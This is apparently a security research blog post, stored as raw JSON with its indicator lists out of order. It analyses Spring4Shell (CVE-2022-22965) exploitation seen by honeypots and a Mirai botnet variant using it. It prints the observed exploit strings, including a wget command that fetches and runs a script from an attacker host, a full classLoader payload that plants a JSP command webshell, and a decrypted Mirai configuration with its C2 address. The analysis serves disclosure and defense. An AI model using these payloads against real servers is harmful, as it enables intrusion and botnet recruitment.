51.15.76.60 The Netherlands AS12876 AS12876
51.77.52.216 Poland AS16276 OVH
58.82.211.226 China AS137872 PEOPLESPHONE-HK
58.240.81.135 China AS4837 CHINA169-Backbone
60.248.106.229 China AS3462 HINET
62.102.148.68 Sweden AS51815 TEKNIKBYRAN
62.102.148.69 Sweden AS51815 TEKNIKBYRAN
64.113.32.29 United States AS15154 SBBSNET
66.220.242.222 United States AS17356 VERMONT-TELE
74.82.47.194 United States AS6939 HURRICANE
81.17.18.59 Switzerland AS51852 PLI-AS
81.17.18.62 Switzerland AS51852 PLI-AS
85.93.218.204 Luxembourg AS9008 ASN-VO
85.204.116.204 Romania AS48874 HOSTMAZE
87.120.37.231 Bulgaria AS34224 NETERRA-AS
89.58.27.84 Germany AS197540 netcup GmbH
89.163.131.159 Germany AS24961 MYLOC-AS
89.163.131.160 Germany AS24961 MYLOC-AS
91.132.147.168 Germany AS197540 netcup-AS
91.149.225.172 Norway AS58110 IPVOLUME
91.211.89.43 Ukraine AS206638 hostfory
91.211.89.107 Ukraine AS206638 hostfory
91.211.89.207 Ukraine AS206638 hostfory
91.250.242.12 Romania AS6718 NAV
92.246.84.133 Germany AS44592 SkyLink
93.95.226.212 Iceland AS44925 THE-1984-AS
93.174.89.132 The Netherlands AS202425 INT-NETWORK
93.179.115.27 United States AS25820 IT7NET
94.140.114.210 Latvia AS43513 NANO-AS
101.37.159.147 China AS37963 CNNIC-ALIBABA-CN-NET-AP
103.27.108.196 China AS132883 TOPWAY-AS-AP
103.42.196.135 India AS138754 KVBPL-AS-IN
103.42.196.203 India AS138754 KVBPL-AS-IN
103.108.193.24 China AS139021 WEST263GO-HK
103.140.186.68 Singapore AS206804 EstNOC-GLOBAL
103.140.186.72 Singapore AS206804 EstNOC-GLOBAL
103.140.186.73 Singapore AS206804 EstNOC-GLOBAL
103.214.146.5 China AS135330 ADCDATACOM-AS-AP
103.253.41.98 China AS133398 TELE-AS
104.244.72.115 Luxembourg AS53667 PONYNET
104.244.76.13 Luxembourg AS53667 PONYNET
104.244.76.44 Luxembourg AS53667 PONYNET
104.244.76.170 Luxembourg AS53667 PONYNET
104.244.77.101 Luxembourg AS53667 PONYNET
107.189.5.249 Luxembourg AS53667 PONYNET
109.70.100.19 Austria AS208323 APPLIEDPRIVACY-AS
109.70.100.31 Austria AS208323 APPLIEDPRIVACY-AS
109.70.100.82 Austria AS208323 APPLIEDPRIVACY-AS
109.70.100.84 Austria AS208323 APPLIEDPRIVACY-AS
109.201.133.100 The Netherlands AS43350 NFORCE
111.252.183.41 China AS3462 HINET
111.252.198.28 China AS3462 HINET
112.5.154.7 China AS9808 CMNET-GD
112.36.205.252 China AS24444 CMNET-V4shandong-AS-AP
112.169.175.24 South Korea AS131477 SHHJ-AS
119.86.148.176 China AS4134 CHINANET-BACKBONE
124.222.23.106 China AS45090 CNNIC-TENCENT-NET-AP
128.31.0.13 United States AS3 MIT-GATEWAYS
141.164.43.95 South Korea AS20473 AS-CHOOPA
142.4.206.84 Canada AS16276 OVH
143.198.131.158 United States AS14061 DIGITALOCEAN-ASN
144.172.73.66 United States AS212513 STELZL-AS
144.202.116.138 United States AS20473 AS-CHOOPA
144.217.86.109 Canada AS16276 OVH
146.19.174.33 China AS147293 NEAROUTE-AS-AP
146.59.233.33 France AS16276 OVH
151.80.148.159 France AS16276 OVH
159.223.73.101 Singapore AS14061 DIGITALOCEAN-ASN
162.247.74.7 United States AS4224 CALYX-AS
164.92.65.110 United States AS14061 DIGITALOCEAN-ASN
164.132.9.199 France AS16276 OVH
166.70.207.2 United States AS6315 XMISSION
167.71.238.228 India AS14061 DIGITALOCEAN-ASN
167.99.76.46 Singapore AS14061 DIGITALOCEAN-ASN
168.62.22.238 United States AS8075 MICROSOFT-CORP-MSN-AS-BLOCK
171.25.193.20 Germany AS198093 DFRI-AS
171.25.193.25 Germany AS198093 DFRI-AS
171.25.193.77 Germany AS198093 DFRI-AS
171.25.193.78 Germany AS198093 DFRI-AS
172.104.93.152 Japan AS63949 LINODE-AP
172.104.140.107 Germany AS63949 LINODE-AP
172.104.159.48 Germany AS63949 LINODE-AP
172.107.241.110 United States AS40676 AS40676
172.245.89.109 United States AS36352 AS-COLOCROSSING
175.178.154.77 China AS45090 CNNIC-TENCENT-NET-AP
178.17.170.135 Moldova AS43289 TRABIA
178.17.171.102 Moldova AS43289 TRABIA
178.17.174.14 Moldova AS43289 TRABIA
178.20.55.18 France AS29075 IELO
182.255.45.211 China AS6134 XNNET
185.34.33.2 France AS28855 OCTOPUCE-AS
185.36.81.95 Lithuania AS133398 TELE-AS
185.38.175.130 Denmark AS205235 LABITAT
185.38.175.131 Denmark AS205235 LABITAT
185.56.80.65 The Netherlands AS43350 NFORCE
185.82.126.13 Latvia AS52173 MAKONIX
185.83.214.69 Portugal AS58110 IPVOLUME
185.100.86.74 Finland AS200651 FlokiNET
185.100.86.128 Finland AS200651 FlokiNET
185.100.87.41 Romania AS200651 FlokiNET
185.100.87.133 Romania AS200651 FlokiNET
185.100.87.174 Romania AS200651 FlokiNET
185.100.87.202 Romania AS200651 FlokiNET
185.105.90.134 Russia AS205090 FIRST-SERVER-EUROPE
185.107.47.171 The Netherlands AS43350 NFORCE
185.107.47.215 The Netherlands AS43350 NFORCE
185.107.70.56 The Netherlands AS43350 NFORCE
185.112.147.12 Iceland AS44925 THE-1984-AS
185.129.62.62 Denmark AS57860 ZENCURITY-NET
185.163.119.0 Germany AS197540 netcup-AS
185.165.171.40 Romania AS200651 FlokiNET
185.165.171.84 Romania AS200651 FlokiNET
185.170.114.25 Germany AS197540 netcup-AS
185.174.101.214 United States AS8100 ASN-QUADRANET-GLOBAL
185.220.100.240 Germany AS205100 F3NETZE
185.220.100.241 Germany AS205100 F3NETZE
185.220.100.242 Germany AS205100 F3NETZE
185.220.100.243 Germany AS205100 F3NETZE
185.220.100.244 Germany AS205100 F3NETZE
185.220.100.245 Germany AS205100 F3NETZE
185.220.100.246 Germany AS205100 F3NETZE
185.220.100.247 Germany AS205100 F3NETZE
185.220.100.248 Germany AS205100 F3NETZE
185.220.100.249 Germany AS205100 F3NETZE
185.220.100.250 Germany AS205100 F3NETZE
185.220.100.251 Germany AS205100 F3NETZE
185.220.100.252 Germany AS205100 F3NETZE
185.220.100.253 Germany AS205100 F3NETZE
185.220.100.254 Germany AS205100 F3NETZE
185.220.100.255 Germany AS205100 F3NETZE
185.220.101.6 The Netherlands AS208294 RELAYON
185.220.101.22 The Netherlands AS208294 RELAYON
185.220.101.32 The Netherlands AS208294 RELAYON
185.220.101.33 The Netherlands AS208294 RELAYON
185.220.101.34 The Netherlands AS208294 RELAYON
185.220.101.35 The Netherlands AS208294 RELAYON
185.220.101.36 The Netherlands AS208294 RELAYON
185.220.101.37 The Netherlands AS208294 RELAYON
185.220.101.38 The Netherlands AS208294 RELAYON
185.220.101.39 The Netherlands AS208294 RELAYON
185.220.101.40 The Netherlands AS208294 RELAYON
185.220.101.41 The Netherlands AS208294 RELAYON
185.220.101.42 The Netherlands AS208294 RELAYON
185.220.101.43 The Netherlands AS208294 RELAYON
185.220.101.44 The Netherlands AS208294 RELAYON
185.220.101.45 The Netherlands AS208294 RELAYON
185.220.101.46 The Netherlands AS208294 RELAYON
185.220.101.47 The Netherlands AS208294 RELAYON
185.220.101.48 The Netherlands AS208294 RELAYON
185.220.101.49 The Netherlands AS208294 RELAYON
185.220.101.50 The Netherlands AS208294 RELAYON
185.220.101.51 The Netherlands AS208294 RELAYON
185.220.101.52 The Netherlands AS208294 RELAYON
185.220.101.53 The Netherlands AS208294 RELAYON
185.220.101.54 The Netherlands AS208294 RELAYON
185.220.101.55 The Netherlands AS208294 RELAYON
185.220.101.56 The Netherlands AS208294 RELAYON
185.220.101.57 The Netherlands AS208294 RELAYON
185.220.101.58 The Netherlands AS208294 RELAYON
185.220.101.59 The Netherlands AS208294 RELAYON
185.220.101.60 The Netherlands AS208294 RELAYON
185.220.101.61 The Netherlands AS208294 RELAYON
185.220.101.62 The Netherlands AS208294 RELAYON
185.220.101.63 The Netherlands AS208294 RELAYON
185.220.102.240 The Netherlands AS60729 ZWIEBELFREUNDE
185.220.102.245 The Netherlands AS60729 ZWIEBELFREUNDE
185.220.102.249 The Netherlands AS60729 ZWIEBELFREUNDE
185.220.102.254 The Netherlands AS60729 ZWIEBELFREUNDE
185.220.103.7 United States AS4224 CALYX-AS
185.226.67.169 Greece AS205053 Aweb-ASN
185.243.218.27 Norway AS56655 TERRAHOST
185.246.188.95 Belgium AS3164 ASTIMP-IT
185.247.226.98 Iceland AS200651 FlokiNET
185.254.75.32 Germany AS3214 XTOM
188.68.58.0 Germany AS197540 netcup-AS
192.42.116.23 The Netherlands AS1101 IP-EEND-AS
193.31.24.154 Germany AS197540 netcup-AS
193.110.95.34 Switzerland AS13030 INIT7
193.111.199.64 Germany AS24961 MYLOC-AS
193.218.118.95 Ukraine AS207656 EPINATURA
193.218.118.183 Ukraine AS207656 EPINATURA
193.218.118.231 Ukraine AS207656 EPINATURA
194.31.98.186 The Netherlands AS213035 AS-SERVERION
194.233.77.245 Singapore AS141995 CAPL-AS-AP
195.176.3.19 Switzerland AS559 SWITCH
195.176.3.23 Switzerland AS559 SWITCH
198.54.128.102 United States AS11878 TZULO
198.98.51.189 United States AS53667 PONYNET
198.98.57.207 United States AS53667 PONYNET
198.144.121.43 The Netherlands AS206264 AMARUTU-TECHNOLOGY
199.195.248.29 United States AS53667 PONYNET
199.195.254.81 United States AS53667 PONYNET
199.249.230.87 United States AS62744 QUINTEX
203.175.13.118 China AS141677 NATHOSTS-AS-AP
204.8.156.142 United States AS10961 BGP-AS
205.185.117.149 United States AS53667 PONYNET
205.185.124.178 United States AS53667 PONYNET
209.141.41.103 United States AS53667 PONYNET
209.141.44.64 United States AS53667 PONYNET
209.141.45.189 United States AS53667 PONYNET
209.141.46.81 United States AS53667 PONYNET
209.141.46.203 United States AS53667 PONYNET
209.141.54.195 United States AS53667 PONYNET
209.141.55.26 United States AS53667 PONYNET
209.141.57.178 United States AS53667 PONYNET
209.141.58.146 United States AS53667 PONYNET
209.141.60.19 United States AS53667 PONYNET
210.217.18.88 South Korea AS4766 KIXS-AS-KR
211.20.42.23 China AS3462 HINET
212.107.30.157 China AS41378 KirinoNET
213.61.215.54 Germany AS8220 COLT
213.164.204.146 Sweden AS8473 BAHNHOF
217.138.199.93 Czech Republic AS9009 M247
URL
http://107.174.133.167/gmpsl
http://107.174.133.167/gi686
http://107.174.133.167/garm
http://107.174.133.167/gmips
http://107.174.133.167/garm7
http://107.174.133.167/gx86
http://107.174.133.167/t.sh
http://107.174.133.167/garm6
http://107.174.133.167/garm5
http://15.185.213.122:65123/javac
http://15.185.213.122:65123
base64://be3f78b59fa14140b6cc8633bf705a75
http://15.185.213.122:65123/java
base64://c08fec5682085417b0a039bdf47c38f2
MD5
4bcd19351697d04fb357ce5b36600207
7d244e7bf48d6631b588cecae87e759d
9c14d670a48bba4b7c047a01d417f8f2
97a7a357b8290a7236a5fbf45f17569f
7621f1a5e8db18f3ae30031122c9c397
100674f1e3ecfb6fa244de4ba7fd2ae2
329155ab45e244661a7725d81dfad740
611630a580e33017be32de8c72625489
650152a2fe78dfceceb4d1a1fdeaccb8
400590515f0f1cf942fe734126be94e7
a8a36132632366c7f65066b23d6f7e4f
b1124c862998bc4ab3ff8b1d471310a6
cca63413e3ca6b834b6a4446768c5ccb
dcc157b2c284ac676000d64dd33f3ec4
e1190f07a6da91caaa317affc9512caa
eba95249cf0a51e300d7b6029cf7088e
fb63e9a23dbf4124116471fcf3254283
fd839753ca4d89c0ccd229b12f95827c
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### Background\nOn March 31, 2022, Spring issued a security advisory[[1\\]](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement) for the Spring4Shell vulnerability (CVE-2022-22965), this vulnerability has caused widespread concern in the security community.\n\nWhen we looked back at our data, our threat hunting honeypot System[[2\\]](https://netlab.360.com/honeypot) had already captured activities related to this exact vulnerability. After March 30, we started to see more attempts such as various webshells, and today, 2022-04-01 11:33:09(GMT+8), less than one day after the vendor released the advisory, a variant of Mirai, has won the race as the first botnet that adopted this vulnerability.\n\n\n### Spring4Shell in the wild propagation\nOur honeypot system started to observe scans related to the Spring4Shell vulnerability (CVE-2022-22965), the following diagram shows the geographic distribution of the scanner IP addresses that we have seen so far.<a href=\"__GHOST_URL__/content/images/2022/04/spring4shell_scanner_distribution.png\"><img src=\"__GHOST_URL__/content/images/2022/04/spring4shell_scanner_distribution.png\" class=\"kg-image\"/></a>\n\nTop 10 country statistics\n```\nUnited States 92\nThe Netherlands 49\nGermany 30\nChina 21\nFrance 6\nLuxembourg 6\nSweden 6\nSwitzerland 5\nUkraine 5\nAustria 4\n```\n\nWe haven seen a large number of Webshell and test file upload behavior, the corresponding file information is shown below.\n<a href=\"__GHOST_URL__/content/images/2022/04/webshell.png\"><img src=\"__GHOST_URL__/content/images/2022/04/webshell.png\" class=\"kg-image\"/></a>\n\nSome of the exploits that we have observed so far:\n```\necho%20ddfdsfasdfasd\necho%20fdsafasdfasd\necho%202222222\nls\nls%20/tmp/\nwhoami\n%2Fbin%2Fsh%2F-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%3Bwget%24%7BIFS%7Dhttp%3A%2F%2F107.174.133.167%2Ft.sh%24%7BIFS%7D-O-%A6sh%24%7BIFS%7DSpringCore%3B%27 \ncat+/etc/passwd \nchdir \ncmd /c dir \ncmd /c net user \ncurl+http://111.4vcrkb.dnslog.cn/1.jpg \ncurl+http://12121.4vcrkb.dnslog.cn/1.jpg \ncurl+http://35456.4vcrkb.dnslog.cn/1.jpg \ndir \necho \necho 8888888888 \necho %USERNAME% \necho %computername% \necho </xss> \necho fucker_test_test \necho rinima \necho%20%3Csvg%20onload=confirm`xss`%3E \necho%20%3Csvg%20onload=confirm`xsssssss`%3E \necho%20ddfdsfasdfasd \necho%20fdsafasdfasd \necho%202222222 \necho+22222 \necho+`whoami` \necho+whoami \nexp\nid \nifconfig \nls \nls%20/tmp/ \nping -n 2 uup0fk.dnslog.cn \nping uup0fk.dnslog.cn \nuname \nwhoami \nwhoami%0A \n```\n\n### Spring4Shell Vulnerability brief \nSpring4Shell vulnerability (CVE-2022-22965) is caused by the new module feature in JDK version 9 and above, and is a bypass for the CVE-2010-1622 vulnerability patch.\n\n\n#### Java Beans\nJava introspection manipulates JavaBean properties through reflection, the JDK provides the PropertyDescription class operation to access JavaBean properties, when operating on multiple properties, you can operate on all properties by traversing the property description object array.\n\nThrough the class Introspector to get the BeanInfo information of an object, and then the BeanInfo to get the property descriptor PropertyDescriptor, the property descriptor can get the getter/setter methods corresponding to a property, and then through the reflection mechanism to call these methods.\nFor example, through the PropertyDescriptor[] assignment.\n\nIf the parent class properties is not needed, the second parameter of getBeanInfo Class beanClass, Class stopClass) is there, calling BeanInfo getBeanInfo(Class beanClass) directly, PropertyDescriptor[] will contain the parent class Object.class.\n\n#### CVE-2010-1622 Vulnerability brief\nCVE-2010-1622 vulnerability exists because \"CachedIntrospectionResults class\"of Spring Beans does not specify the stop class when calling java.beans.Introspector.getBeanInfo() enumeration property assignment, resulting in the parent class ( Object.class is the parent class of any java object) class property can be maliciously controlled by an attacker.\n\nSpring parameter supports the user to submit a form in the form of parameters = value object assignment, while user.address.street = Disclosure + Str is equivalent to frmObj.getUser().getAddress().setStreet(\"Disclosure Str.\"). So a value can be assigned to the first class property in PropertyDescriptor[] by means of user.address.street=Disclosure+Str. If the class property is controlled through the classLoader, the exploit chain can be constructed.\n\n**Vulnerability Patch**\nSpring patches the vulnerability by adding the classLoader to the property array blacklist.\n<a href=\"__GHOST_URL__/content/images/2022/04/patch.png\"><img src=\"__GHOST_URL__/content/images/2022/04/patch.png\" class=\"kg-image\"/></a>\n\n#### CVE-2022-22965 Vulnerability brief\nSimilar to the CVE-2010-1622 vulnerability, another class parameter related issue.\n<a href=\"__GHOST_URL__/content/images/2022/04/class.png\"><img src=\"__GHOST_URL__/content/images/2022/04/class.png\" class=\"kg-image\"/></a>\n\nCVE-2022-22965 is a bypass of patch CVE-2010-1622, in JDK11+Tomcat8.5.77+spring-webmvc5.3.17 version, we noticed that class.module.classLoader.* can load ParallelWebappClassLoader to bypass the detection of classLoader:\n<a href=\"__GHOST_URL__/content/images/2022/04/classloader.png\"><img src=\"__GHOST_URL__/content/images/2022/04/classloader.png\" class=\"kg-image\"/></a>\n\nExploit Payload that we saw\n```\nclass.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=222\n```\n\nHere the pattern specifies the format of the log record, suffix specifies the log record suffix as .jsp, directory specifies the directory webapps/ROOT where the log is saved, prefix specifies the file name tomcatwar, fileDateFormat specifies the date format of the log file name. The whole payload uses Tomcat’s class AbstractAccessLogValve to modify the log storage format, directory and file name, so the webshell can be uploaded.\n\n\n**Vulnerability Patch**\nA strict blacklist restrictions have been added\n<a href=\"__GHOST_URL__/content/images/2022/04/patch1.png\"><img src=\"__GHOST_URL__/content/images/2022/04/patch1.png\" class=\"kg-image\"/></a>\n\n\n### Mirai botnet\nAs mentioned above, Mirai botnet has jumped on the wagon and the following is the relevant configuration information that has been decrypted.\n```\n [0x01]: \"46.175.146.159\\x00\", size=15\n [0x02]: \"A\\x84\", size=2\n [0x03]: \"D\\xfd\", size=2\n [0x04]: \"U better back the fuck off CIANigger >>>---<3-->\\x00\", size=49\n [0x05]: \"shell\\x00\", size=6\n [0x06]: \"enable\\x00\", size=7\n [0x07]: \"system\\x00\", size=7\n [0x08]: \"sh\\x00\", size=3\n [0x09]: \"/bin/busybox DEMONS\\x00\", size=20\n [0x0a]: \"DEMONS: applet not found\\x00\", size=25\n [0x0b]: \"ncorrect\\x00\", size=9\n [0x0c]: \"/bin/busybox ps\\x00\", size=16\n [0x0d]: \"assword\\x00\", size=8\n [0x0e]: \"ogin\\x00\", size=5\n [0x0f]: \"enter\\x00\", size=6\n [0x10]: \"/proc/\\x00\", size=7\n [0x11]: \"/exe\\x00\", size=5\n [0x12]: \"/fd\\x00\", size=4\n [0x13]: \"/maps\\x00\", size=6\n [0x14]: \"/proc/net/tcp\\x00\", size=14\n [0x15]: \"/etc/resolv.conf\\x00\", size=17\n [0x16]: \"nameserver\\x00\", size=11\n [0x17]: \"Pully\\x13SHD\\x1aiIGK\\x1cDig\\x13\\x18}Bfpc]MkGp^b\\x12[}P\\x1b\\\\~m`b`^rc\\x13Xeg\\x13G\\x1a\\x12z*\", size=57\n [0x18]: \"i586\\x00\", size=5\n [0x19]: \"i486\\x00\", size=5\n [0x1a]: \"x86\\x00\", size=4\n [0x1b]: \"i686\\x00\", size=5\n [0x1c]: \"mips\\x00\", size=5\n [0x1d]: \"mipsel\\x00\", size=7\n [0x1e]: \"mpsl\\x00\", size=5\n [0x1f]: \"sh4\\x00\", size=4\n [0x20]: \"superh\\x00\", size=7\n [0x21]: \"ppc\\x00\", size=4\n [0x22]: \"powerpc\\x00\", size=8\n [0x23]: \"spc\\x00\", size=4\n [0x24]: \"sparc\\x00\", size=6\n [0x25]: \"(deleted)\\x00\", size=10\n [0x26]: \"abcdefghijklmnopqrstuvwxyz\\x00\", size=27\n [0x27]: \"%d.%d.%d.%d\\x00\", size=12\n [0x28]: \"POST /cdn-cgi/\\x00\", size=15\n [0x29]: \"UPX!\\x00\", size=5\n [0x2a]: \"botnet\\x00\", size=7\n [0x2b]: \"ddos\\x00\", size=5\n [0x2c]: \"oginenterassword\\x00\", size=17\n [0x2d]: \"GET/ HTTP/1.1\\x00\", size=15\n [0x2e]: \"garm\\x00\", size=5\n [0x2f]: \"gx86\\x00\", size=5\n [0x30]: \"gmips\\x00\", size=6\n [0x31]: \"gmpsl\\x00\", size=6\n [0x32]: \"gsh4\\x00\", size=5\n [0x33]: \"gspc\\x00\", size=5\n [0x34]: \"gppc\\x00\", size=5\n [0x35]: \"gsec\\x00\", size=5\n [0x36]: \".glm\\x00\", size=5\n [0x37]: \"cronx86\\x00\", size=8\n [0x38]: \"cronarm\\x00\", size=8\n [0x39]: \"cronmips\\x00\", size=9\n [0x3a]: \"cronmpsl\\x00\", size=9\n [0x3b]: \"cronsh4\\x00\", size=8\n [0x3c]: \"cronspc\\x00\", size=8\n [0x3d]: \"cronppc\\x00\", size=8\n [0x3e]: \"cronsh\\x00\", size=7\n [0x3f]: \"gi686\\x00\", size=6\n [0x40]: \"/dev/watchdog\\x00\", size=14\n [0x41]: \"/dev/misc/watchdog\\x00\", size=19\n [0x42]: \"/dev/FTWDT101_watchdog\\x00\", size=23\n [0x43]: \"/dev/FTWDT101 watchdog\\x00\\x12\", size=24\n [0x44]: \"/dev/watchdog0\\x00\", size=15\n [0x45]: \"/etc/default/watchdog\\x00\", size=22\n [0x46]: \"/sbin/watchdog\\x00\", size=15\n```\n\n#### Some Webshell and test files that we have seen so far\n| filepath | count |\n| ---- | ---- |\n|/tmp/log222.txt|3973|\n|webapps/ROOT/log111.txt|2051|\n|webapps/ROOT/tomcatwar.jsp|110|\n|webapps/ROOT/wpz.jsp|27|\n|/../webapps/ROOT/logout.jsp|12|\n|./webapps/ROOT/test2%20%20.txt|9|\n|webapps/ROOT/log101.txt|7|\n|/log_data_9.jsp|3|\n|webapps/ROOT/xiaozhan.jsp|3|\n|webapps/ROOT/1122.jsp|3|\n|webapps/ROOT/0985763860781234.jsp|3|\n|/2023.jsp|3|\n|webapps/ROOT/zhuzhuxias.jsp|3|\n|webapps/ROOT/log147.txt|2|\n|webapps/ROOT/aaa69875.jsp|1|\n|webapps/ROOT/log186.txt|1|\n|webapps/ROOT/aaa36917.jsp|1|\n|webapps/ROOT/member3war.jsp|1|\n|webapps/ROOT/aaa96225.jsp|1|\n|webapps/ROOT/log154.txt|1|\n|webapps/ROOT/log103.txt|1|\n|webapps/ROOT/log176.txt|1|\n|webapps/ROOT/7FMNZ.jsp|1|\n|webapps/ROOT/aaa28643.jsp|1|\n|webapps/ROOT/aaa49231.jsp|1|\n|webapps/ROOT/aaa50586.jsp|1|\n|webapps/ROOT/log112.txt|1|\n|webapps/ROOT/log110.txt|1|\n|webapps/ROOT/aaa80751.jsp|1|\n|/2021.jsp|1|\n|webapps/ROOT/aaa10854.jsp|1|\n|webapps/ROOT/log105.txt|1|\n|webapps/ROOT/aaa93089.jsp|1|\n|webapps/ROOT/35456.jsp|1|\n|webapps/ROOT/log182.txt|1|\n|webapps/ROOT/aaa24348.jsp|1|\n|webapps/ROOT/log131.txt|1|\n|webapps/ROOT/indexbk.jsp|1|\n|webapps/ROOT/log149.txt|1|\n|webapps/ROOT/log179.txt|1|\n|webapps/webappsbak/sxxd1648765386.txt|1|\n|webapps/ROOT/log150.txt|1|\n|Webapps/ROOT/78754.jsp|1|\n|webapps/ROOT/aaa24168.jsp|1|\n|webapps/ROOT/aaa10487.jsp|1|\n|webapps/ROOT/log178.txt|1|\n|webapps/ROOT/lapsus|1|\n|webapps/ROOT/zhuzhuxia.jsp|1|\n|webapps/ROOT/log135.txt|1|\n|webapps/ROOT/aaa40373.jsp|1|\n|webapps/ROOT/qweasd.jsp|1|\n|webapps/ROOT/console.jsp|1|\n|webapps/ROOT/aaa79694.jsp|1|\n|webapps/ROOT/aaa54378.jsp|1|\n|webapps/ROOT/log129.txt|1|\n|webapps/ROOT/pCJrI.jsp|1|\n|webapps/ROOT/log162.txt|1|\n|Webapps/ROOT/7875456457.jsp|1|\n|webapps/ROOT/.jsp|1|\n|webapps/ROOT/log200.txt|1|\n|webapps/ROOT/8888888888.jsp|1|\n|webapps/ROOT/8888888888.txt|1|\n|webapps/ROOT/log128.txt|1|\n|webapps/ROOT/log124.txt|1|\n|webapps/ROOT/aaa14058.jsp|1|\n|webapps/ROOT/aaa94175.jsp|1|\n|webapps/ROOT/conf.jsp|1|\n|webapps/stupidRumor_war/tomcatwar.jsp|1|\n|webapps/ROOT/aaa83816.jsp|1|\n\n### Recommendations\nSpring users should follow the vendor’s advisory, as the same time, users can check their systems for the aforementioned Webshell and test files paths for possible breach. \n\n\n### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab) or email us at **netlab at 360 dot cn** .\n\n\n\n#### IoC List\nMirai C2\n```\n46.175.146.159:16772\n```\n\nIP\n```\n1.85.220.54 \tChina \tAS4134 \tCHINANET-BACKBONE \n3.239.1.141 \tUnited States \tAS14618 \tAMAZON-AES \n5.2.69.50 \tThe Netherlands \tAS60404 \tLiteserver \n14.0.170.249 \tChina \tAS38819 \tHKCSL-AS-AP \n23.128.248.10 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.11 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.12 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.13 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.14 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.15 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.16 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.17 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.19 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.20 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.21 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.22 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.23 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.24 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.25 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.27 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.28 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.29 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.33 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.34 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.38 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.39 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.40 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.41 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.42 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.43 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.44 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.46 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.48 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.50 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.51 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.53 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.54 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.55 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.56 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.57 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.58 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.59 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.60 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.61 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.62 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.63 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.64 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.65 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.129.64.130 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.131 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.132 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.133 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.134 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.135 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.136 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.137 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.138 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.139 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.140 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.141 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.142 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.143 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.145 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.146 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.147 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.148 \tUnited States \tAS396507 \tEMERALD-ONION 